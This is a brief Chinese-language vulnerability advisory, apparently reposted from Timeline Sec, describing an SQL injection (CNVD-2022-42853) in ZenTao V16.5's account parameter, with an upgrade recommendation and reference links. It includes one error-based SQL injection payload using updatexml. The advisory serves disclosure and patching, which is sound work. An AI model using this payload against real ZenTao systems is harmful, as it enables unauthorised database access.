禅道V16.5未对输入的account参数内容作过滤校验，导致攻击者拼接恶意SQL语句执行。
禅道V16.5
https://www.zentao.net/download/zentaopms16.5-80656.html
报错型注入payload:
admin' and updatexml(1,concat(0x7e,(123=123),0x7e),1) and '1'='1
升级最新版本
https://www.zentao.net
参考链接：
https://www.cnblogs.com/spmonkey/articles/16611302.html
原文始发于微信公众号（Timeline Sec）：CNVD-2022-42853：禅道V16.5SQL注入漏洞
